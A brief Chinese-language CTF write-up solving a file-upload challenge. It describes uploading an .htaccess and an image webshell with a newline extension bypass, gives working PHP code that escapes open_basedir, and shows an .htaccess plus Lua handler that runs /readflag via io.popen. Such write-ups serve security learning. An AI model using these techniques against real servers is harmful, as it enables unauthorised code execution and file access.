NEWUPLOAD
- 一开始比赛一直上传503,以为环境坏了。复现发现
.htaccess
可以直接上传,图片只能上传jpg
.搞一个图片马,后缀直接换行绕过。
Bypass open_dir
- 由于开了open_dir读不了根目录。所以直接
bypass open_dir
,bypass代码。
<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>
- 直接上传读到根目录文件情况。
Getflag
- 可以看到有readflag
直接上.htaccess让它解析lua,再用lua读flag.
.htaccess
AddHandler lua-script .lua
- lua脚本
require "string"
--[[
This is the default method name for Lua handlers, see the optional
function-name in the LuaMapHandler directive to choose a different
entry point.
--]]
function handle(r)
r.content_type = "text/plain"
r:puts("Hello Lua World!\n")
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
- Getflag